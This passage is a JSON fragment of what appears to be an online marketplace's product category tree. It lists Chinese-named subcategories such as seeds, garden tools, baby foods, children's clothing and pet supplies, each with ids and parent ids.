cid":32202,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32302,"name":"多肉植物","parent_cid":32202,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23822,"name":"高端盆景/盆栽","parent_cid":32202,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32303,"name":"花卉","parent_cid":32202,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32304,"name":"绿植","parent_cid":32202,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32308,"name":"草坪种子","parent_cid":32203,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32306,"name":"花卉种子","parent_cid":32203,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32307,"name":"蔬果种子","parent_cid":32203,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32305,"name":"种球","parent_cid":32203,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26482,"name":"DIY仿真材料","parent_cid":21040,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26488,"name":"仿真植物盆景","parent_cid":21040,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26484,"name":"干花/花瓣/干花包/干树枝","parent_cid":21040,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26487,"name":"花艺套餐","parent_cid":21040,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32285,"name":"花架","parent_cid":32197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26154,"name":"花架/花几","parent_cid":32197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32286,"name":"花篮","parent_cid":32197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32284,"name":"花盆","parent_cid":32197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32282,"name":"花瓶/花器","parent_cid":32197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32283,"name":"栅栏","parent_cid":32197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32309,"name":"花艺包装","parent_cid":32204,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32311,"name":"制作材料","parent_cid":32204,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32312,"name":"制作工具","parent_cid":32204,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32310,"name":"其他","parent_cid":32204,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32315,"name":"果树(苗)","parent_cid":32205,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32313,"name":"花园植物","parent_cid":32205,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32314,"name":"行道树(苗)","parent_cid":32205,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32291,"name":"婚车鲜花","parent_cid":32200,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32292,"name":"婚庆花篮","parent_cid":32200,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32293,"name":"玫瑰花瓣","parent_cid":32200,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32294,"name":"鲜花拱门","parent_cid":32200,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32295,"name":"新娘手捧花","parent_cid":32200,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32296,"name":"胸花","parent_cid":32200,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32297,"name":"其它","parent_cid":32200,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32289,"name":"花材","parent_cid":32199,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33195,"name":"鲜花卡","parent_cid":32199,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32290,"name":"周期订阅鲜花","parent_cid":32199,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32287,"name":"干花","parent_cid":32198,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32288,"name":"永生花","parent_cid":32198,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32177,"name":"铲/耙/锄","parent_cid":32176,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32352,"name":"打草绳等其他绳子","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32342,"name":"大型篱笆/栅栏","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32183,"name":"地枪/地埋式喷头","parent_cid":32176,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23841,"name":"高端园艺用品","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32185,"name":"割草机/草坪机","parent_cid":32176,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32320,"name":"花卉药剂","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32182,"name":"花托/移动托盘","parent_cid":32176,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32323,"name":"花园管/软管/包纱管","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32336,"name":"花园水泵","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32181,"name":"家庭园艺肥料/营养土/营养液","parent_cid":32176,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32178,"name":"绿篱机/绿篱剪","parent_cid":32176,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33198,"name":"盆景石","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33196,"name":"驱虫用品","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32180,"name":"取水/灌溉设备","parent_cid":32176,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32355,"name":"洒水/浇水壶","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32356,"name":"水晶珠/玻璃珠","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32188,"name":"水枪/水管车","parent_cid":32176,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32357,"name":"塑料薄膜","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32358,"name":"微喷/滴灌/接头类","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32186,"name":"温度计/湿度计","parent_cid":32176,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32324,"name":"小型喷雾壶","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32187,"name":"摇臂/景观喷头","parent_cid":32176,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32179,"name":"园艺刀/剪/锯","parent_cid":32176,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33197,"name":"园艺假山","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32325,"name":"园艺手套","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32366,"name":"园艺用品套装","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32365,"name":"育苗盘/营养钵","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32367,"name":"智能园艺用品","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32319,"name":"其他园艺用品","parent_cid":32176,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34380,"name":"宝宝的芝麻粉","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33199,"name":"宝宝馒头","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33201,"name":"宝宝水饺/馄饨","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34381,"name":"宝宝虾皮粉","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34382,"name":"宝宝猪肝粉","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24824,"name":"菜粉/水果粉","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24813,"name":"果/菜/肉/混合泥","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24821,"name":"果汁/饮品","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32000,"name":"面粉/胚芽米","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24814,"name":"面条","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24823,"name":"米粉/米糊/汤粥","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24827,"name":"磨牙棒/饼干","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24822,"name":"肉松/鱼松","parent_cid":20554,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24816,"name":"宝宝奶酪","parent_cid":20555,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24815,"name":"宝宝奶片","parent_cid":20555,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24825,"name":"果肉条","parent_cid":20555,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24818,"name":"海苔","parent_cid":20555,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24817,"name":"泡芙","parent_cid":20555,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24826,"name":"溶溶豆","parent_cid":20555,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24820,"name":"肉肠","parent_cid":20555,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24819,"name":"糖果","parent_cid":20555,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33200,"name":"宝宝咖喱","parent_cid":20560,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24829,"name":"调料","parent_cid":20560,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24838,"name":"食用油","parent_cid":20560,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24835,"name":"蛋白粉","parent_cid":20559,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24828,"name":"DHA/核桃油","parent_cid":20559,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24836,"name":"钙铁锌","parent_cid":20559,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24831,"name":"牛初乳","parent_cid":20559,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24834,"name":"葡萄糖","parent_cid":20559,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24830,"name":"清凉/调理/奶伴","parent_cid":20559,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24841,"name":"乳铁蛋白","parent_cid":20559,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24833,"name":"维生素","parent_cid":20559,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24843,"name":"婴幼儿保健食品","parent_cid":20559,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24832,"name":"益生菌","parent_cid":20559,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24837,"name":"鱼肝油","parent_cid":20559,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24930,"name":"肚兜","parent_cid":20612,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24931,"name":"肚围/护脐带","parent_cid":20612,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24974,"name":"儿童冲锋裤","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24973,"name":"儿童冲锋衣","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24976,"name":"儿童滑雪服","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24977,"name":"儿童滑雪裤","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24983,"name":"儿童皮肤衣/防晒衣","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24979,"name":"儿童软壳裤","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24978,"name":"儿童软壳衣","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24986,"name":"儿童速干衬衫","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24982,"name":"儿童速干裤","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24970,"name":"儿童速干T恤","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24981,"name":"儿童运动裤","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24985,"name":"儿童运动套装","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24980,"name":"儿童运动衣","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24975,"name":"儿童抓绒衣","parent_cid":20639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24984,"name":"家居服连体衣","parent_cid":20638,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24971,"name":"家居服上装","parent_cid":20638,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24972,"name":"家居服套装","parent_cid":20638,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24967,"name":"家居裤/睡裤","parent_cid":20638,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24965,"name":"家居袍/睡袍","parent_cid":20638,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24966,"name":"家居裙/睡裙","parent_cid":20638,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24964,"name":"保暖裤","parent_cid":20637,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24968,"name":"保暖上装","parent_cid":20637,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24962,"name":"内裤","parent_cid":20637,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24969,"name":"秋衣裤","parent_cid":20637,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24952,"name":"儿童牛仔衬衫","parent_cid":20628,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24950,"name":"儿童牛仔裤","parent_cid":20628,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24949,"name":"儿童牛仔裙","parent_cid":20628,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24951,"name":"儿童牛仔外套","parent_cid":20628,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24939,"name":"包包","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24942,"name":"背带","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33891,"name":"儿童耳饰","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33892,"name":"儿童戒指","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24953,"name":"儿童装饰手表","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24940,"name":"发饰","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24937,"name":"假发","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24938,"name":"假领","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24945,"name":"领带","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24946,"name":"领结","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24941,"name":"手链","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24948,"name":"太阳镜","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24944,"name":"项链","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24943,"name":"腰带","parent_cid":20630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24956,"name":"汉服","parent_cid":20634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24955,"name":"旗袍","parent_cid":20634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24954,"name":"唐装","parent_cid":20634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24936,"name":"儿童泳帽 ","parent_cid":20627,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24947,"name":"泳衣裤","parent_cid":20627,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24928,"name":"多件套 帽子、围巾、手套等组合","parent_cid":20611,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24927,"name":"耳套/耳暖","parent_cid":20611,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24929,"name":"防抓手套/护脚/护膝","parent_cid":20611,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24922,"name":"口罩","parent_cid":20611,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24924,"name":"帽子","parent_cid":20611,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24925,"name":"手套","parent_cid":20611,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24923,"name":"围巾","parent_cid":20611,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24926,"name":"袖套","parent_cid":20611,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24915,"name":"半身裙","parent_cid":20596,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24914,"name":"连衣裙","parent_cid":20596,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24916,"name":"风衣","parent_cid":20610,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24917,"name":"夹克/皮衣","parent_cid":20610,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24920,"name":"呢大衣","parent_cid":20610,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24918,"name":"皮草/仿皮草","parent_cid":20610,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24921,"name":"普通外套","parent_cid":20610,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24919,"name":"西服/小西装","parent_cid":20610,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24957,"name":"羽绒服","parent_cid":20635,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24958,"name":"羽绒裤","parent_cid":20635,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24961,"name":"羽绒连体衣","parent_cid":20635,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24960,"name":"羽绒马甲","parent_cid":20635,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24959,"name":"羽绒内胆","parent_cid":20635,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24933,"name":"儿童鞋带 ","parent_cid":20623,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24934,"name":"量脚器","parent_cid":20623,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24932,"name":"鞋垫","parent_cid":20623,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24935,"name":"其他鞋配件","parent_cid":20623,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25347,"name":"饲料/零食","parent_cid":20699,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25352,"name":"小宠用品(新)","parent_cid":20699,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":25334,"name":"宠物背包","parent_cid":20697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25337,"name":"宠物服装/雨衣","parent_cid":20697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25338,"name":"宠物指甲套","parent_cid":20697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25332,"name":"服装/用品定做(新)","parent_cid":20697,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":25331,"name":"挂饰/挂牌","parent_cid":20697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25328,"name":"帽子","parent_cid":20697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25333,"name":"生理裤","parent_cid":20697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25327,"name":"头饰","parent_cid":20697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25329,"name":"袜子","parent_cid":20697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25326,"name":"围巾","parent_cid":20697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25330,"name":"鞋子","parent_cid":20697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25339,"name":"其它服饰配件","parent_cid":20697,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25346,"name":"标本","parent_cid":20700,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25350,"name":"宠物车贴","parent_cid":20700,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25353,"name":"宠物相册、明信片等周边","parent_cid":20700,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25345,"name":"其他","parent_cid":20700,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25323,"name":"宠物智能穿戴设备","parent_cid":20693,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25324,"name":"宠物智能环境监察设备","parent_cid":20693,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25325,"name":"宠物智能监控伴侣设备","parent_cid":20693,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25322,"name":"宠物智能喂养设备","parent_cid":20693,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25335,"name":"畜牧器械","parent_cid":20698,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25336,"name":"畜牧饲料","parent_cid":20698,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32005,"name":"宠物驱虫","parent_cid":31984,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32004,"name":"猫/狗药品","parent_cid":31984,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25299,"name":"马鞍","parent_cid":20696,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25298,"name":"马刺","parent_cid":20696,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25307,"name":"马口衔/马嚼子","parent_cid":20696,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25303,"name":"马笼套","parent_cid":20696,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25305,"name":"马饲料","parent_cid":20696,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25304,"name":"马蹄挫","parent_cid":20696,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25228,"name":"吹风机","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25227,"name":"吹水机","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25233,"name":"电推剪","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25241,"name":"耳部清洁","parent_cid":20681,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false